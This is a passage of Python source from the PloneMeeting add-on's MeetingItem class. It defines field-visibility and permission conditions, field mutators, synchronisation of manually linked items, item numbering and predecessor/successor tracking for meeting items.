if is_editing(cfg):\n # when using \"auto_from\" in MeetingConfig.committees\n # field is only shown to MeetingManagers\n if cfg.is_committees_using(\"auto_from\") and not tool.isManager(cfg):\n res = False\n return res\n\n security.declarePublic('show_votesObservations')\n\n def show_votesObservations(self):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n res = False\n if item.attribute_is_used(\"votesObservations\") or \\\n item.getRawVotesObservations():\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n res = tool.isManager(cfg)\n if not res:\n res = tool.isPowerObserverForCfg(cfg) or item.is_decided(cfg)\n return res\n\n security.declarePublic('showIsAcceptableOutOfMeeting')\n\n def showIsAcceptableOutOfMeeting(self):\n '''Show the MeetingItem.isAcceptableOutOfMeeting field if WFAdaptation\n 'accepted_out_of_meeting' or 'accepted_out_of_meeting_and_duplicated'\n is used..'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n wfAdaptations = cfg.getWorkflowAdaptations()\n return 'accepted_out_of_meeting' in wfAdaptations or \\\n 'accepted_out_of_meeting_and_duplicated' in wfAdaptations\n\n security.declarePublic('showEmergency')\n\n def showEmergency(self):\n '''Show the MeetingItem.emergency field if :\n - in usedItemAttributes;\n - or if WFAdaptation 'accepted_out_of_meeting_emergency' or\n 'accepted_out_of_meeting_emergency_and_duplicated' is enabled;\n - and hide it if isDefinedInTool.'''\n res = False\n if self.attribute_is_used('emergency'):\n res = True\n else:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n wfAdaptations = cfg.getWorkflowAdaptations()\n res = ('accepted_out_of_meeting_emergency' in wfAdaptations or\n 'accepted_out_of_meeting_emergency_and_duplicated' in wfAdaptations) and \\\n not self.isDefinedInTool()\n return res\n\n security.declarePublic('showMeetingManagerReservedField')\n\n def showMeetingManagerReservedField(self, name):\n '''When must field named p_name be shown?'''\n # show field if it is a recurring item or an item template\n # especially done so item template managers may manage it\n if self.isDefinedInTool() and \\\n self.attribute_is_used(name) and \\\n _checkPermission(WriteItemMeetingManagerFields, self):\n return True\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n return cfg.show_meeting_manager_reserved_field(name, meta_type='MeetingItem')\n\n security.declarePublic('showOralQuestion')\n\n def showOralQuestion(self):\n '''On edit, show if field enabled and if current user isManager.'''\n res = False\n if self.attribute_is_used('oralQuestion'):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = tool.isManager(cfg)\n return res\n\n security.declarePublic('showToDiscuss')\n\n def showToDiscuss(self):\n '''On edit or view page for an item, we must show field 'toDiscuss' if :\n - field is used and :\n - MeetingConfig.toDiscussSetOnItemInsert is False or;\n - MeetingConfig.toDiscussSetOnItemInsert is True and item is linked\n to a meeting.'''\n res = False\n if self.attribute_is_used('toDiscuss'):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = (not cfg.getToDiscussSetOnItemInsert() or\n (not self.isDefinedInTool() and\n cfg.getToDiscussSetOnItemInsert() and\n self.hasMeeting()))\n return res\n\n security.declarePublic('showItemIsSigned')\n\n def showItemIsSigned(self):\n '''Condition for showing the 'itemIsSigned' field on views.\n The attribute must be used and the item must be decided.'''\n return self.attribute_is_used('itemIsSigned') and \\\n (self.hasMeeting() or self.query_state() == 'validated')\n\n security.declarePublic('mayChangeListType')\n\n def mayChangeListType(self):\n '''Condition for editing 'listType' field.'''\n item = self.getSelf()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if item.hasMeeting() and tool.isManager(cfg):\n return True\n return False\n\n security.declarePublic('mayChangePollType')\n\n def mayChangePollType(self):\n '''Condition for editing 'pollType' field.'''\n item = self.getSelf()\n res = False\n if _checkPermission(ModifyPortalContent, item):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if not item.hasMeeting() or tool.isManager(cfg):\n res = True\n return res\n\n security.declarePublic('maySignItem')\n\n def maySignItem(self):\n '''Condition for editing 'itemIsSigned' field.\n As the item signature comes after the item is decided/closed,\n we use an unrestricted call in @@toggle_item_is_signed that is protected by\n this method.'''\n item = self.getSelf()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n\n # bypass for the Manager role\n if tool.isManager(realManagers=True):\n return True\n\n # Only MeetingManagers can sign an item if it is decided\n if not item.showItemIsSigned() or \\\n not tool.isManager(cfg):\n return False\n\n # If the meeting is in a closed state, the item can only be signed but\n # not \"unsigned\". This way, a final state 'signed' exists for the item\n meeting = item.getMeeting()\n if meeting and \\\n meeting.query_state() in Meeting.MEETINGCLOSEDSTATES and \\\n item.getItemIsSigned():\n return False\n return True\n\n security.declarePublic('mayTakeOver')\n\n def mayTakeOver(self):\n '''Check doc in interfaces.py.'''\n wfTool = api.portal.get_tool('portal_workflow')\n item = self.getSelf()\n res = False\n # user have WF transitions to trigger\n if wfTool.getTransitionsFor(item):\n res = True\n else:\n # item is decided and user is member of the proposingGroup\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n item_state = item.query_state()\n if self.is_decided(cfg, item_state) and \\\n item.adapted()._getGroupManagingItem(item_state, theObject=False) in \\\n tool.get_orgs_for_user():\n res = True\n return res\n\n security.declareProtected(ModifyPortalContent, 'setTakenOverBy')\n\n def setTakenOverBy(self, value, **kwargs):\n '''Override MeetingItem.takenOverBy mutator so we can manage\n history stored in 'takenOverByInfos'.\n We can receive a 'wf_state' in the kwargs, then needs to have format like :\n config_workflowname__wfstate__wfstatename.'''\n # Add a place to store takenOverBy by review_state user id\n # as we override mutator, this method is called before ObjectInitializedEvent\n # do not manage history while creating a new item\n if not self._at_creation_flag:\n # save takenOverBy to takenOverByInfos for current review_state\n # or check for a wf_state in kwargs\n if 'wf_state' in kwargs:\n wf_state = kwargs['wf_state']\n else:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n wf_state = \"%s__wfstate__%s\" % (cfg.getItemWorkflow(), self.query_state())\n if value:\n self.takenOverByInfos[wf_state] = value\n elif not value and wf_state in self.takenOverByInfos:\n del self.takenOverByInfos[wf_state]\n self.getField('takenOverBy').set(self, value, **kwargs)\n\n security.declarePublic('setHistorizedTakenOverBy')\n\n def setHistorizedTakenOverBy(self, wf_state):\n '''Check doc in interfaces.py.'''\n item = self.getSelf()\n\n if wf_state in item.takenOverByInfos:\n previousUserId = item.takenOverByInfos[wf_state]\n previousUser = api.user.get(previousUserId)\n mayTakeOver = False\n if previousUser:\n # do this as previousUser\n # remove AUTHENTICATED_USER during adopt_user to avoid\n # breaking utils.get_current_user_id\n auth_user = item.REQUEST.get(\"AUTHENTICATED_USER\")\n if auth_user:\n item.REQUEST[\"AUTHENTICATED_USER\"] = None\n with api.env.adopt_user(user=previousUser):\n try:\n mayTakeOver = item.adapted().mayTakeOver()\n except Exception:\n logger.warning(\n \"An error occured in 'setHistorizedTakenOverBy' \"\n \"while evaluating 'mayTakeOver'\")\n if auth_user:\n item.REQUEST[\"AUTHENTICATED_USER\"] = auth_user\n if not mayTakeOver:\n item.setTakenOverBy('')\n else:\n item.setTakenOverBy(previousUserId)\n else:\n item.setTakenOverBy('')\n\n security.declarePublic('mayTransfer')\n\n def mayTransfer(self):\n '''Check doc in interfaces.py.'''\n item = self.getSelf()\n res = False\n if item.getOtherMeetingConfigsClonableTo():\n tool = api.portal.get_tool('portal_plonemeeting')\n res = tool.isManager(tool.getMeetingConfig(item))\n return res\n\n security.declarePublic('mayAskEmergency')\n\n def mayAskEmergency(self):\n '''Check doc in interfaces.py.'''\n # by default, everybody able to edit the item can ask emergency\n item = self.getSelf()\n if item.isDefinedInTool():\n return False\n\n if _checkPermission(ModifyPortalContent, item):\n return True\n\n security.declarePublic('mayAcceptOrRefuseEmergency')\n\n def mayAcceptOrRefuseEmergency(self):\n '''Check doc in interfaces.py.'''\n # by default, only MeetingManagers can accept or refuse emergency\n item = self.getSelf()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if tool.isManager(cfg) and _checkPermission(ModifyPortalContent, item):\n return True\n return False\n\n security.declarePublic('mayEvaluateCompleteness')\n\n def mayEvaluateCompleteness(self):\n '''Check doc in interfaces.py.'''\n # user must be able to edit current item\n item = self.getSelf()\n if item.isDefinedInTool():\n return False\n\n res = False\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n # user must be an item completeness editor (one of corresponding role)\n if _checkPermission(ModifyPortalContent, item) and \\\n (tool.userIsAmong(ITEM_COMPLETENESS_EVALUATORS) or tool.isManager(cfg)):\n res = True\n return res\n\n security.declarePublic('mayAskCompletenessEvalAgain')\n\n def mayAskCompletenessEvalAgain(self):\n '''Check doc in interfaces.py.'''\n # user must be able to edit current item\n item = self.getSelf()\n if item.isDefinedInTool():\n return\n\n res = False\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n # user must be an item completeness editor (one of corresponding role)\n if item.getCompleteness() == 'completeness_incomplete' and \\\n _checkPermission(ModifyPortalContent, item) and \\\n (tool.userIsAmong(ITEM_COMPLETENESS_ASKERS) or tool.isManager(cfg)):\n res = True\n return res\n\n def _is_complete(self):\n '''Check doc in interfaces.py.'''\n item = self.getSelf()\n return item.getCompleteness() in ('completeness_complete',\n 'completeness_evaluation_not_required')\n\n security.declarePublic('mayEditAdviceConfidentiality')\n\n def mayEditAdviceConfidentiality(self, org_uid):\n '''Check doc in interfaces.py.'''\n item = self.getSelf()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n # user must be able to edit the item and must be a Manager\n if item.adviceIsInherited(org_uid) or \\\n not _checkPermission(ModifyPortalContent, item) or \\\n not tool.isManager(cfg):\n return False\n return True\n\n def adviceIsInherited(self, org_uid):\n \"\"\" \"\"\"\n res = False\n if self.adviceIndex.get(org_uid) and \\\n self.adviceIndex[org_uid]['inherited']:\n res = True\n return res\n\n security.declarePublic('mayAskAdviceAgain')\n\n def mayAskAdviceAgain(self, advice):\n '''Returns True if current user may ask given p_advice advice again.\n For this :\n - advice must not be 'asked_again', inherited or not_asked (initiative);\n - item is editable by current user (Manager and MeetingManager) or\n using WFA \"waiting_advices_proposing_group_send_back\" and current\n user is member of the proposingGroup able to send item back in WF.'''\n\n item = self.getSelf()\n adviser_uid = advice.advice_group\n\n if advice.advice_type == 'asked_again' or \\\n item.adviceIsInherited(adviser_uid) or \\\n item.adviceIndex[adviser_uid][\"not_asked\"]:\n return False\n\n # (Meeting)Managers\n if _checkPermission(ModifyPortalContent, item):\n return True\n # _waiting_advices\n item_state = item.query_state()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n if item_state.endswith(\"_waiting_advices\") and \\\n \"waiting_advices_proposing_group_send_back\" in cfg.getWorkflowAdaptations() and \\\n item.adviceIndex[adviser_uid][\"advice_editable\"]:\n # check that current user is member of the proposingGroup suffix\n # to which the item state could go back to\n org_uid = self._getGroupManagingItem(item_state)\n # get the \"back\" states, item_state is like \"proposed_waiting_advices\"\n # of \"itemcreated__or__proposed_waiting_advices\"\n # or when using WAITING_ADVICES_FROM_STATES 'new_state_id',\n # we use the \"from_states\"\n states = item_state.replace(\"_waiting_advices\", \"\")\n if \"__or__\" in states:\n states = states.split(\"__or__\")\n else:\n found = False\n for infos in get_waiting_advices_infos(cfg.getId()):\n if infos['new_state_id'] == states:\n states = infos['new_state_id']\n break\n if not found:\n # make sure we have a list\n states = [states]\n suffixes = cfg.getItemWFValidationLevels(\n states=states, data='suffix', only_enabled=True, return_state_singleton=False)\n if tool.user_is_in_org(org_uid=org_uid, suffixes=suffixes):\n return True\n return False\n\n security.declarePublic('mayBackToPreviousAdvice')\n\n def mayBackToPreviousAdvice(self, advice):\n '''Returns True if current user may go back to previous given advice.\n It could be the case if someone asked advice again erroneously\n or for any other reason.\n For this :\n - advice must be 'asked_again'...;\n - advice is no more editable (except for MeetingManagers);\n - item is editable by current user (including MeetingManagers).'''\n\n item = self.getSelf()\n\n if not advice.advice_type == 'asked_again':\n return False\n\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n\n # apart MeetingManagers, the advice can not be set back to previous\n # if editable by the adviser\n if item.adviceIndex[advice.advice_group]['advice_editable'] and \\\n not tool.isManager(cfg):\n return False\n\n if _checkPermission(ModifyPortalContent, item):\n return True\n return False\n\n security.declareProtected(ModifyPortalContent, 'setItemIsSigned')\n\n def setItemIsSigned(self, value, **kwargs):\n '''Overrides the field 'itemIsSigned' mutator to check if the field is\n actually editable.'''\n # if we are not in the creation process (setting the default value)\n # and if the user can not sign the item, we raise an Unauthorized\n if not self._at_creation_flag and not self.adapted().maySignItem():\n raise Unauthorized\n self.getField('itemIsSigned').set(self, value, **kwargs)\n\n security.declareProtected(ModifyPortalContent, 'setItemNumber')\n\n def setItemNumber(self, value, **kwargs):\n '''Overrides the field 'itemNumber' mutator to\n notifyModified and reindex relevant indexes.'''\n current_item_number = self.getField('itemNumber').get(self, **kwargs)\n if not value == current_item_number:\n self.getField('itemNumber').set(self, value, **kwargs)\n reindex_object(self, idxs=['getItemNumber'], update_metadata=False)\n\n security.declareProtected(ModifyPortalContent, 'setManuallyLinkedItems')\n\n def setManuallyLinkedItems(self, value, caching=True, **kwargs):\n '''Overrides the field 'manuallyLinkedItems' mutator so we synchronize\n field manuallyLinkedItems of every linked items...\n We are using ZCatalog.unrestrictedSearchResults and ZCatalog.unrestrictedSearchResults\n because current member could update manually linked items in which some are not viewable.'''\n stored = self.getField('manuallyLinkedItems').getRaw(self, **kwargs)\n # value sometimes contains an empty string ''...\n if value is None:\n value = ()\n if '' in value:\n value.remove('')\n\n # save value that will be actually stored on self as it will not be value\n # if some extra uids are appended to it because linking to an item\n # that is already linked to other items\n valueToStore = list(value)\n # only compute if something changed\n if not set(stored) == set(value):\n\n # we will use unrestrictedSearchResults because in the case a user update manually linked items\n # and in already selected items, there is an item he can not view, it will be found in the catalog\n unrestrictedSearch = api.portal.get_tool('portal_catalog').unrestrictedSearchResults\n item_infos = {}\n\n def _get_item_infos(item_uid):\n \"\"\"Return meeting_date and item_created data for given p_item_uid.\"\"\"\n if not caching or item_uid not in item_infos:\n item = self if item_uid == self.UID() else None\n if item is None:\n brains = unrestrictedSearch(UID=item_uid)\n if brains:\n # there could be no brains when created from restapi call\n # as new item is still not indexed\n item = brains[0]._unrestrictedGetObject()\n if item:\n meeting = item.getMeeting()\n item_infos[item_uid] = {\n 'item': item,\n 'meeting_date': meeting and meeting.date or None,\n 'item_created': item.created()}\n else:\n item_infos[item_uid] = None\n return item_infos[item_uid]\n\n # sorting method, items will be sorted by meeting date descending\n # then, for items that are not in a meeting date, by creation date\n def _sortByMeetingDate(xUid, yUid):\n '''Sort method that will sort items by meetingDate.\n x and y are uids of items to sort.'''\n item1_infos = _get_item_infos(xUid)\n item1_created = item1_infos['item_created']\n item1_meeting_date = item1_infos['meeting_date']\n item2_infos = _get_item_infos(yUid)\n item2_created = item2_infos['item_created']\n item2_meeting_date = item2_infos['meeting_date']\n if item1_meeting_date and item2_meeting_date:\n # both items have a meeting, compare meeting dates\n return cmp(item2_meeting_date, item1_meeting_date)\n elif item1_meeting_date and not item2_meeting_date:\n # only item1 has a Meeting, it will be displayed after\n return 1\n elif not item1_meeting_date and item2_meeting_date:\n # only item2 has a Meeting, it will be displayed after\n return -1\n else:\n # no meeting at all, sort by item creation date\n return cmp(item1_created, item2_created)\n\n # update every items linked together that are still kept (in value)\n newUids = list(set(value).difference(set(stored)))\n # first build list of new uids that will be appended to every linked items\n newLinkedUids = []\n for newUid in newUids:\n # add every manually linked items of this newUid...\n newItem = _get_item_infos(newUid)['item']\n # getRawManuallyLinkedItems still holds old UID of deleted items\n # so we use getManuallyLinkedItems to be sure that item object still exists\n mLinkedItemUids = [tmp_item.UID() for tmp_item in newItem.getManuallyLinkedItems()]\n for mLinkedItemUid in mLinkedItemUids:\n if mLinkedItemUid not in newLinkedUids:\n newLinkedUids.append(mLinkedItemUid)\n # do not forget newUids\n newLinkedUids = newLinkedUids + newUids\n # we will also store this for self\n valueToStore = list(set(valueToStore).union(newLinkedUids))\n valueToStore.sort(_sortByMeetingDate)\n # for every linked items, also keep back link to self\n newLinkedUids.append(self.UID())\n # now update every item (newLinkedUids + value)\n # make sure we have not same UID several times\n newLinkedUids = set(newLinkedUids).union(value)\n for linkedItemUid in newLinkedUids:\n # self UID is in newLinkedUids but is managed here above, so pass\n if linkedItemUid == self.UID():\n continue\n linkedItem = _get_item_infos(linkedItemUid)['item']\n # do not self reference\n newLinkedUidsToStore = list(newLinkedUids)\n if linkedItemUid in newLinkedUids:\n newLinkedUidsToStore.remove(linkedItemUid)\n newLinkedUidsToStore.sort(_sortByMeetingDate)\n linkedItem.getField('manuallyLinkedItems').set(linkedItem, newLinkedUidsToStore, **kwargs)\n # make change in linkedItem.at_ordered_refs until it is fixed in Products.Archetypes\n linkedItem._p_changed = True\n\n # now if links were removed, remove linked items on every removed items...\n removedUids = set(stored).difference(set(value))\n for removedUid in removedUids:\n removedItemBrains = unrestrictedSearch(UID=removedUid)\n if not removedItemBrains:\n continue\n removedItem = removedItemBrains[0]._unrestrictedGetObject()\n removedItem.getField('manuallyLinkedItems').set(removedItem, [], **kwargs)\n # make change in linkedItem.at_ordered_refs until it is fixed in Products.Archetypes\n removedItem._p_changed = True\n\n # save newUids, newLinkedUids and removedUids in the REQUEST\n # so it can be used by submethods like subscribers\n self.REQUEST.set('manuallyLinkedItems_newUids', newUids)\n self.REQUEST.set('manuallyLinkedItems_newLinkedUids', newLinkedUids)\n self.REQUEST.set('manuallyLinkedItems_removedUids', removedUids)\n\n self.getField('manuallyLinkedItems').set(self, valueToStore, **kwargs)\n # make change in linkedItem.at_ordered_refs until it is fixed in Products.Archetypes\n self._p_changed = True\n\n security.declareProtected(ModifyPortalContent, 'setPreferredMeeting')\n\n def setPreferredMeeting(self, value, **kwargs):\n '''Overrides the field 'preferredMeeting' mutator to be able to\n update_preferred_meeting if value changed.'''\n field = self.getField('preferredMeeting')\n current_value = field.get(self, **kwargs)\n if value != current_value:\n if not value:\n value = ITEM_NO_PREFERRED_MEETING_VALUE\n self._update_preferred_meeting(value)\n field.set(self, value, **kwargs)\n\n def _mark_need_update(self, update_item_references=True, update_committees=True, extra_markers=[]):\n '''See docstring in interfaces.py.'''\n if update_item_references:\n # add a value in the REQUEST to specify that update_item_references is needed\n self.REQUEST.set('need_Meeting_update_item_references', True)\n if update_committees:\n # add a value in the REQUEST to specify that update_committees is needed\n self.REQUEST.set('need_MeetingItem_update_committees', True)\n for extra_marker in extra_markers:\n self.REQUEST.set(extra_marker, True)\n\n def _annex_decision_addable_states_after_validation(self, cfg, item_state):\n '''See doc in interfaces.py.'''\n return cfg.getItemDecidedStates()\n\n def may_add_annex_decision(self, cfg, item_state):\n \"\"\" \"\"\"\n addable_states = self.adapted()._annex_decision_addable_states_after_validation(cfg, item_state)\n return addable_states == \"*\" or item_state in addable_states\n\n security.declareProtected(ModifyPortalContent, 'setCategory')\n\n def setCategory(self, value, **kwargs):\n '''Overrides the field 'category' mutator to be able to\n update_item_references if value changed.'''\n field = self.getField('category')\n current_value = field.get(self, **kwargs)\n if value != current_value:\n # add a value in the REQUEST to specify that update_groups_in_charge is needed\n self._mark_need_update(extra_markers=['need_MeetingItem_update_groups_in_charge_category'])\n field.set(self, value, **kwargs)\n\n security.declareProtected(ModifyPortalContent, 'setClassifier')\n\n def setClassifier(self, value, **kwargs):\n '''Overrides the field 'classifier' mutator to be able to\n update_item_references if value changed.'''\n field = self.getField('classifier')\n current_value = field.get(self, **kwargs)\n if value != current_value:\n # add a value in the REQUEST to specify that update_groups_in_charge is needed\n self._mark_need_update(extra_markers=['need_MeetingItem_update_groups_in_charge_classifier'])\n field.set(self, value, **kwargs)\n\n security.declareProtected(ModifyPortalContent, 'setProposingGroup')\n\n def setProposingGroup(self, value, **kwargs):\n '''Overrides the field 'proposingGroup' mutator to be able to\n update_item_references if value changed.'''\n field = self.getField('proposingGroup')\n current_value = field.get(self, **kwargs)\n if value != current_value:\n # add a value in the REQUEST to specify that update_groups_in_charge is needed\n self._mark_need_update(extra_markers=['need_MeetingItem_update_groups_in_charge_proposing_group'])\n field.set(self, value, **kwargs)\n\n security.declareProtected(ModifyPortalContent, 'setProposingGroupWithGroupInCharge')\n\n def setProposingGroupWithGroupInCharge(self, value, **kwargs):\n '''Overrides the field 'proposingGroupWithGroupInCharge' mutator to be able to\n set a correct 'proposingGroup' and 'groupsInCharge' from received value.'''\n field = self.getField('proposingGroupWithGroupInCharge')\n current_value = field.get(self, **kwargs)\n if not value == current_value:\n # value may be empty if used on an itemTemplate\n proposingGroup = groupInCharge = ''\n if value:\n proposingGroup, groupInCharge = value.split('__groupincharge__')\n self.setProposingGroup(proposingGroup)\n self.setGroupsInCharge([groupInCharge])\n field.set(self, value, **kwargs)\n\n def _adaptLinesValueToBeCompared(self, value):\n \"\"\"'value' received from processForm does not correspond to what is stored\n for LinesField, we need to adapt it so it may be compared.\n This is completly taken from Products.Archetypes.Field.LinesField.set.\"\"\"\n\n if isinstance(value, basestring):\n value = value.split('\\n')\n value = [v for v in value if v and v.strip()]\n return tuple(value)\n\n security.declareProtected(ModifyPortalContent, 'setOtherMeetingConfigsClonableTo')\n\n def setOtherMeetingConfigsClonableTo(self, value, **kwargs):\n '''Overrides the field 'otherMeetingConfigsClonableTo' mutator to be able to\n update_item_references if value changed.'''\n field = self.getField('otherMeetingConfigsClonableTo')\n current_value = field.get(self, **kwargs)\n if self._adaptLinesValueToBeCompared(value) != current_value:\n # add a value in the REQUEST to specify that update_item_references is needed\n self._mark_need_update(update_committees=False)\n field.set(self, value, **kwargs)\n\n security.declareProtected(View, 'getManuallyLinkedItems')\n\n def getManuallyLinkedItems(self, only_viewable=False, **kwargs):\n '''Overrides the field 'manuallyLinkedItems' accessor to be able\n to return only items for that are viewable by current user.'''\n linkedItems = self.getField('manuallyLinkedItems').get(self, **kwargs)\n if linkedItems:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n linkedItems = [\n linkedItem for linkedItem in linkedItems if\n self._appendLinkedItem(\n linkedItem, tool, cfg, only_viewable=only_viewable)]\n return linkedItems\n\n security.declarePublic('onDiscussChanged')\n\n def onDiscussChanged(self, toDiscuss):\n '''See doc in interfaces.py.'''\n pass\n\n security.declarePublic('isDefinedInTool')\n\n def isDefinedInTool(self, item_type=None):\n '''Is this item being defined in the tool (portal_plonemeeting) ?\n p_item_type can be :\n - None, we return True for any item defined in the tool;\n - 'recurring', we return True if it is a recurring item defined in the tool;\n - 'itemtemplate', we return True if it is an item template defined in the tool.'''\n is_in_tool = 'portal_plonemeeting' in self.absolute_url()\n if item_type is None:\n return is_in_tool\n elif item_type == 'recurring':\n return is_in_tool and self.portal_type.startswith('MeetingItemRecurring')\n elif item_type == 'itemtemplate':\n return is_in_tool and self.portal_type.startswith('MeetingItemTemplate')\n\n security.declarePublic('showClonableToOtherMCs')\n\n def showClonableToOtherMCs(self):\n '''Returns True if the current item can be cloned to another\n meetingConfig. This method is used as a condition for showing\n or not the 'otherMeetingConfigsClonableTo' field.'''\n res = False\n if self.getOtherMeetingConfigsClonableTo():\n res = True\n else:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = cfg.getMeetingConfigsToCloneTo()\n return res\n\n security.declarePublic('showAdvancedClonableToOtherMCs')\n\n def showAdvancedClonableToOtherMCs(self, showClonableToOtherMCs=False):\n '''Display otherMeetingConfigsClonableTo as advanced or not.\n Functionnality enabled and using relevant otherMeetingConfigsClonableToFieldXXX are used.'''\n item = self.getSelf()\n res = False\n if showClonableToOtherMCs:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n res = bool(self.get_enable_clone_to_other_mc_fields(cfg))\n return res\n\n security.declarePublic('getItemNumber')\n\n def getItemNumber(self, relativeTo='meeting', for_display=False, **kwargs):\n '''This accessor for 'itemNumber' field is overridden in order to allow\n to get the item number in various flavours:\n - the item number relative to the whole meeting (no matter the item\n being \"normal\" or \"late\"): p_relativeTo=\"meeting\";\n - the item number relative to the whole meeting config:\n p_relativeTo=\"meetingConfig\".\n If p_for_display is True, it will return a displayable value :\n - 100 is displayed '1';\n - 102 is displayed '1.2';\n - 111 is displayed '1.11'.'''\n # when 'field' and 'encoding' in kwargs, it means that getRaw is called\n if 'field' in kwargs and 'encoding' in kwargs:\n return self.getField('itemNumber').get(self, **kwargs)\n\n # this method is only relevant if the item is in a meeting\n if not self.hasMeeting():\n return 0\n\n res = self.getField('itemNumber').get(self, **kwargs)\n if relativeTo == 'meetingConfig':\n meeting = self.getMeeting()\n meetingFirstItemNumber = meeting.first_item_number\n if meetingFirstItemNumber != -1:\n res = meetingFirstItemNumber * 100 + self.getItemNumber(relativeTo='meeting') - 100\n else:\n # here we need to know what is the \"base number\" to compute the item number on :\n # we call findBaseNumberRelativeToMeetingConfig, see docstring there\n # call the view on meeting because it is memoized and for example in meeting_view\n # the meeting does not change but the item does\n view = getMultiAdapter((meeting, self.REQUEST), name='pm_unrestricted_methods')\n currentMeetingComputedFirstNumber = view.findFirstItemNumber()\n # now that we have the currentMeetingComputedFirstNumber, that is\n # the theorical current meeting first number, we can compute current item\n # number that is this number + current item number relativeTo the meeting - 1\n res = currentMeetingComputedFirstNumber * 100 + self.getItemNumber(relativeTo='meeting') - 100\n # we want '1' instead of '100' and '2.15' instead of 215\n if for_display:\n return _storedItemNumber_to_itemNumber(res, forceShowDecimal=False)\n return res\n\n security.declarePublic('getDefaultToDiscuss')\n\n def getDefaultToDiscuss(self):\n '''Get default value for field 'toDiscuss' from the MeetingConfig.'''\n res = True\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if cfg:\n # When creating a meeting through invokeFactory (like recurring\n # items), getMeetingConfig does not work because the Archetypes\n # object is not properly initialized yet (portal_type is not set\n # correctly yet)\n res = cfg.getToDiscussDefault()\n return res\n\n security.declarePublic('getDefaultPollType')\n\n def getDefaultPollType(self):\n '''Get default value for field 'pollType' from the MeetingConfig.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n return cfg.getDefaultPollType()\n\n def _update_meeting_link(self, meeting):\n \"\"\"Store the linked meeting UID and path.\n Storing the path is required for the indexation\n because a clear_and_rebuild would not find the element by UID.\"\"\"\n self.linked_meeting_uid = None\n self.linked_meeting_path = None\n if meeting is not None:\n self.linked_meeting_uid = meeting.UID()\n self.linked_meeting_path = \"/\".join(meeting.getPhysicalPath())\n\n def _update_preferred_meeting(self, preferred_meeting_uid):\n \"\"\"Store the preferred meeting UID and path.\n Storing the path is required for the indexation\n because a clear_and_rebuild would not find the element by UID.\"\"\"\n self.preferred_meeting_path = None\n if preferred_meeting_uid != ITEM_NO_PREFERRED_MEETING_VALUE:\n meeting_brain = uuidToCatalogBrain(preferred_meeting_uid, unrestricted=True)\n # necessary for restapi as value is set before being validated...\n # if passing a wrong value, meeting_brain is an empty result\n if meeting_brain:\n self.preferred_meeting_path = meeting_brain.getPath()\n\n def _update_predecessor(self, predecessor):\n '''Only one predecessor possible but several successors.\n If p_predecessor=None, we remove predecessor/successors attributes.\n Storing the path is required for the indexation\n because a clear_and_rebuild would not find the element by UID.'''\n if predecessor is not None:\n self.linked_predecessor_uid = predecessor.UID()\n self.linked_predecessor_path = \"/\".join(predecessor.getPhysicalPath())\n if not getattr(predecessor, 'linked_successor_uids', None):\n predecessor.linked_successor_uids = PersistentList()\n # update successors for predecessor\n predecessor.linked_successor_uids.append(self.UID())\n else:\n safe_delattr(self, 'linked_predecessor_uid')\n safe_delattr(self, 'linked_predecessor_path')\n safe_delattr(self, 'linked_successor_uids')\n\n def get_successor(self, the_objects=True, unrestricted=True):\n \"\"\"Shortcut to get the last successors that should be the official successor.\"\"\"\n # we force ordered=True for get_successors to make sure the last successor\n # is the last chronologically created\n successors = self.get_successors(\n the_objects=the_objects, ordered=True, unrestricted=unrestricted)\n return successors and successors[-1] or None\n\n def get_successors(self, the_objects=True, ordered=True, unrestricted=True):\n '''Return the successors, so the items that were automatically linked to self.\n Most of times, there will be one single successor, but it may happen\n that several successors exist, for example when item delayed then corrected\n then delayed again, most of time one of the 2 successors will be deleted\n but it is not always the case...'''\n res = getattr(self, 'linked_successor_uids', [])\n if res and the_objects:\n # res is a PersistentList, not working with catalog query\n # searching successors ordered will make sure that items are returned chronologically\n res = uuidsToObjects(uuids=tuple(res), ordered=ordered, unrestricted=unrestricted)\n return res\n\n def get_every_successors(obj, the_objects=True, unrestricted=True):\n '''Loop recursievely thru every successors of p_obj and return it.'''\n def recurse_successors(successors, res=[]):\n for successor in successors:\n res.append(successor)\n recurse_successors(successor.get_successors())\n return res\n res = recurse_successors(obj.get_successors(\n the_objects=the_objects, unrestricted=unrestricted))\n return res\n\n def get_predecessor(self, the_object=True, unrestricted=True):\n ''' '''\n res = getattr(self, 'linked_predecessor_uid', None)\n if res and the_object:\n portal = api.portal.get()\n predecessor_path = self.linked_predecessor_path\n res = portal.unrestrictedTraverse(predecessor_path)\n return res\n\n security.declarePublic('get_predecessors')\n\n def get_predecessors(self, only_viewable=False, include_successors=True):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = 